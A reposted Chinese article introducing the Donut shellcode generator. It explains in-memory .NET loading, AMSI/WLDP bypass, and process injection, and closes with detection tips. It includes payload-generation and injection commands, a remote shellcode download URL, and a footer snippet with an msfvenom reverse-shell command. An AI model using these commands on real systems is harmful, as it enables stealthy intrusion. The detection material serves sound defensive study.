工具:C 程序轉換ShellCode利器

2021-01-10 酷扯兒

本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫

最近的工作中,發現了一款被大量運用在滲透領域、用來生成ShellCode中常用到的轉換工具,以替代Powershell逃避監測且使用頻率很高,尤其是境外非常流行;這就是我今天要介紹的主角:DoNut,並在最後給出了檢測要點。

一是文章很長,耐心看;二是這個工具實在強大,而且實戰中頻用;三是在上一篇C&C中,就用到了這個工具。

一、背景

1、在滲透測試中,C#將會逐步替代Powershell;

2、就目前的趨勢來說,C#開源的工具越來越多;

3、使用C#開發的程序都能通過Donut轉換成shellcode。

二、下載、編譯

這是一個由多個工具組成的工作集,核心程序是donut,其它的都是它的輔助程序,但都有很用。

2、編譯

幫助文檔給出了編譯方式,命令行下的nmake,nmake -f Makefile.msvc

編譯後,生成donut.exe。其他目錄中的都有sln,可以直接vs2019編譯生成Dll或Exe。

三、功能

Donut是一個ShellCode生成工具,可以將.NET程序集轉換為ShellCode。這是對Execute-Assembly的進一步利用,隱蔽性更高,可擴展性更強。這個donut程序的版本是0.93,可以將Exe、Dll、Vbs、Js轉換成ShellCode。

Donut的利用思路:

1.將.NET程序集轉換為shellcode,例如配合SILENTTRINITY使用

2.作為模塊集成到其他工具中

3.擴展功能:支持類似meterpreter的migrate功能。

為了更為隱蔽,可以先使用ProcessManager列舉已經加載CLR的進程,對其進行注入。

1、幫助

2、execute-assembly

從內存中加載.NET程序集,能夠以dll的形式注入到其他進程中。

整個過程在內存執行,不寫入文件系統(此時注入dll需要使用Dll反射)。

Payload以dll形式存在,不會產生可疑的進程。

註:如果使用Loadlibrary加載dll,dll必須寫入文件系統。

3、Donut

基於execute-assembly,以shellcode的形式實現從內存中加載.NET程序集。

優點:注入到其他進程時不再依賴於Dll反射,更隱蔽,更易於擴展。

更隱蔽:指注入其他進程時不會存在dll。

更易於擴展:指能夠執行shellcode的方法都可以使用Donut,基於Donut的二次開發也很容易。

四、子項目

1、子項目

1)DemoCreateProcess

c#程序,編譯後生成文件DemoCreateProcess.dll,功能為將傳入的兩個參數作為啟動進程。可通過Donut將其轉換成shellcode,用作測試Donut生成shellcode的功能是否有效。

2)DonutTest

c#程序,編譯後生成文件DonutTest.exe,用於向指定pid的進程注入shellcode。

數組中保存base64加密後的shellcode,解密後通過CreateRemoteThread注入到指定進程。

3)rundotnet.cpp

c#程序,編譯後的文件為rundotnet.exe,用於讀取指定文件並使用CLR從內存加載.NET程序集。

4)ModuleMonitor

使用WMI事件Win32_ModuleLoadTrace來監視模塊加載,如果發現CLR注入,將會標記。

.程序中判斷CLR注入的方法:

如果進程加載了CLR,但程序不是.NET程序集,則CLR已注入其中。

.程序中判斷進程加載CLR的方法:

進程是否加載了與CLR相關的dll(mscoree.dll,mscoreei.dll和mscorlib.dll),dll以"msco"開頭。

這個工程一般是作防禦檢測用,用來檢測系統是否產生了CLR注入事件,所以在啟動後進程會一直執行,實時記錄系統加載新模塊的事件。

5)ProcessManager

用於枚舉當前計算機或遠程計算機上的進程。

同tasklist.exe的功能類似,增加以下功能:

· 判斷進程權限

· 判斷進程位數(32位還是64位)

· 判斷進程是否加載CLR

2、組件

1)payload.c

Donut的關鍵功能,實現以下操作:

(1)獲得shellcode並解密

提供兩種方式:

· 從payload.h讀取shellcode和解密密鑰

· 從HTTP伺服器下載shellcode和解密密鑰

(2)使用CLR從內存加載.NET程序集

· 調用ICLRMetaHost::GetRuntime方法獲取ICLRRuntimeInfo指針

· 使用ICorRuntimeHost接口

· 嘗試關閉AMSI和WLDP

· 使用Load_3(...)從內存中讀取

2)exe2h

用來將exe轉換為shellcode並保存到數組中。

從payload.exe中的.text段中提取已編譯的機器碼(包括dll和解密密鑰),將其作為數組保存到payload_exe_x64.h或payload_exe_x86.h。

3)payload_exe_x64/x86.h

存儲64/32位的機器碼(包括dll和解密密鑰)。

4)inject.c

使用RtlCreateUserThread向指定進程注入shellcode。

可用作測試向指定進程注入shellcode的功能。

5)runsc.c

C/S架構,兩個功能,可以發送和接收shellcode並執行。

用於測試payload.bin的功能。

6)encrypt.c

對稱加密的實現。

7)hash.c

API Hashing,這裡使用了Maru hash。

8)donut.c

主程序,用於將.NET程序集轉換成shellcode。

五、測試

1、測試Dll

這裡使用子項目DemoCreateProcess

編譯後生成文件DemoCreateProcess.dll;

2、使用Donut生成shellcode

64位:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

32位:

donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

命令執行後生成文件payload.bin。

如果加了-u指定URL,會再生成一個隨機名稱的Module文件,實例如下:

donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1

生成文件payload.bin和YX63F37T。

將YX63F37T上傳到http://192.168.1.1。

接下來通過注入shellcode的方式執行payload.bin,payload.bin會從http://192.168.1.1/YX63F37T下載實際的shellcode並執行。

3、查看進程信息

這裡使用子項目ProcessManager。

列出進程後,Managed選項如果為True,代表該進程已經加載CLR。

ProcessManager支持對指定進程進行篩選,例如只查看notepad.exe的進行信息,命令如下:

ProcessManager.exe --name notepad

4、注入shellcode

假設目標進程為3306

(1)使用子項目DonutTest

將payload.bin作base64編碼並保存在剪貼板,替換DonutTest工程中對應的變量,編譯成功後執行如下命令:

DonutTest.exe 3306

(2)使用RtlCreateUserThread

命令如下:

inject.exe 3306 payload.bin

六、Donut的檢測:

Donut需要使用CLR從內存中加載.NET程序集,可採取以下方法進行檢測:

· 進程不是.NET程序集

· 進程加載了與CLR相關的dll(dll以"msco"開頭)

註:正常程序也有可能存在這個行為。

兩種檢測方法:

· 使用命令tasklist /m msco*

· 使用WMI事件Win32_ModuleLoadTrace來監視模塊加載

對滿足以上條件的進程重點監控。

本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫

相關焦點

  • 滲透測試工具實戰技巧合集(一)
    註:NASM 全稱 The Netwide Assembler,是一款基於80×86和x86-64平臺的彙編語言編譯程序,其設計初衷是為了實現編譯器程序跨平臺和模塊化的特性。MSF 生成在 Linux 下反彈的 Meterpreter Shellmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shellMSF 生成反彈 Shell (C Shellcode
  • 日文遊戲亂碼怎麼辦 亂碼轉換工具下載及使用
    很多日文遊戲會有地區限制,尤其是Win 7、Win8玩日文遊戲亂碼情況經常出現,那麼遇到這種日文遊戲亂碼情況該怎麼辦呢,這裡我們需要一個亂碼轉換工具
  • shell常用命令
    - find指令後面必須有基本路徑,-path後面的目錄前後都要加* - shell中命令之間的空格很重要,空格分隔了不同的命令,\轉義的一般都用空格與其他的指令隔離 - shell常用變量:\\$1命令或腳本的第一個參數,第二個以此類推;\$#參數數量;$0當前程序名稱;$?
  • 利用FRP實現內網映射和外網Shell
    前面幾期的文章中說過,如何利用花生殼等工具搭建內網映射。實現外網訪問我們的內網,但是由於花生殼等軟體不穩定而且慢最重要的是還有點小貴。由於筆者運維著幾天伺服器,就想著利用frp搭建內網穿透。/frps --help配置伺服器端程序參考以下配置文件frps.ini# 下面這句開頭必須要有,表示配置的開始[common]# frp 服務端埠(必須)bind_port = 7000
  • shell腳本的使用該熟練起來了,你說呢?(篇三)
    \c" # -e 開啟轉義 \c 不換行6.顯示結果定向至文件echo "It is a test" > lynfile.結果將顯示當前日期shell printfShell printf 命令我們學習了 Shell 的 echo 命令,我們再來學習 Shell 的另一個輸出命令 printf。
  • low-code?與 20 年前的 Dreamweaver 有什麼區別? - 開源中國
    目標場景不同:Dreamweaver 更多地聚焦前端開發場景,而在 low-code 開發平臺中,前端只是完整應用程式的一部分,服務端數據、路由、邏輯流程等都需要考慮在內可視化操作粒度不同:現代 low-code 平臺通常有組件、區塊、頁面、模板等多級復用抽象,Dreamweaver 只面向 HTML 原生標籤
  • 微軟Win10 免費工具集 PowerToys v0.19.0 發布 用於快速搜索程序
    微軟名為PowerToys的免費系統實用工具套件從Windows XP時代復活,並於2019年5月引入Windows 10系統。可以用於高級用戶調整和簡化 Windows 操作,以提高效率。通過 Windows 10 shell 使用,同時讓用戶可以自定義各個工作流。
  • 前端組件/庫打包利器rollup使用與配置實戰
    前言寫rollup的文章是因為筆者最近要規範前端開發的業務流程和架構,並提供內部公有組件庫和工具庫供團隊使用。It uses the new standardized format for code modules included in the ES6 revision of JavaScript, instead of previous idiosyncratic solutions such as CommonJS and AMD.
  • Excel如何運行可執行文件,用vba Shell函數
    vba shell 函數格式:Shell(PathName[,WindowStyle])PathName :要執行的程序名,包括目錄或文件夾WindowStyle :程序運行時窗口的樣式所以,這個工具的可以拿出來了。例如,需要打開密碼管理,進行密碼設置的時候,可以打開這個文件選擇密碼,單擊執行按鈕之後,就打開密碼管理功能了。雖然在開始裡面也很好找,但是如果要打開組策略呢!是不是就有點犯難了?
  • 熱門開發工具(IDE)推薦
    IDE是提供程序開發環境的應用程式,一般包括了代碼編輯器、編譯器、調試器以及圖形用戶界面等工具,集成,特別是一些代碼補全、代碼高亮、語法提示等高效插件更是讓開發事半功倍。因此在開發工具的選擇上也五花八門,下面介紹幾款熱門的IDE。
  • C語言編程規範 clean code
    建議4.1 每一個.c文件都應該有相應的.h文件,用於聲明需要對外公開的接口通常情況下,每個.c文件都有一個相應的.h(並不一定同名),用於放置對外提供的函數聲明、宏定義、類型定義等。如果一個.c文件不需要對外公布任何接口,則其就不應當存在。例外:程序的入口(如main函數所在的文件),單元測試代碼,動態庫代碼。
  • 應用:Linux中安裝Visual Studio Code
    據了解該工具Visual Studio Code具備多種功能,如導航、智能感知支持、語法高亮、括號匹配、自動補全、代碼片段、支持自定義鍵盤綁定、並且支持多種語言,同時集成了管理器、庫、構建以及其它通用任務,以加速日常的工作流。
  • App安全檢測實踐基礎——工具
    adb工具簡介adb是Android的一個很重要的調試工具,熟練掌握後可實現很多功能,比如有些手機的解鎖、ROOT就會用到adb工具安裝過程Drozer可以通過與Dalivik VM,其它應用程式的IPC端點以及底層作業系統的交互,避免正處於開發階段,或者部署於的組織的android應用程式和設備暴露出不可接受的安全風險。drozer提供了很多Android平臺下的滲透測試exploit供你使用和分享。
  • 10 個好用的 Visual Studio Code 插件「神器」
    無論你是經驗豐富的程式設計師,還是剛開始從事第一份工作的程式設計師「小白」,你都想讓程序開發變得更容易。使用正確的工具,你就能夠做到這點。如果你正在使用的 IDE 是 Visual Studio Code,那可以讓它變得更合你的「口味」。其中一個方式就是安裝正確的插件。你可以儘可能多地安裝插件,從而讓編程變得更容易。
  • shell是什麼?shell實現原理分析基於MM32 MCU的shell腳本源碼
    shellDisplay(shell, 「| (C) COPYRIGHT 2019 MindMotion |\r\n」);   shellDisplay(shell, 「| shell v」SHELL_VERSION「 |\r\n」);   shellDisplay(shell, 「| Build: 」__DATE__「 」__TIME__「 |\r\n」);
  • 如何在 Ubuntu/Debian Linux 上編寫、編譯和運行一個 C 程序
    步驟 1: 編寫你的 C 程序,並使用一個 .c 的擴展名進行保存。例如,my_program.c 。c步驟 3: 在 Linux 中,你可以以運行生成的對象文件的方式來運行你的 C 程序:.c記住,提供輸出對象文件(-o my_program)是可選的。如果你不提供,那麼將自動生成一個名稱為 a.out 的對象文件。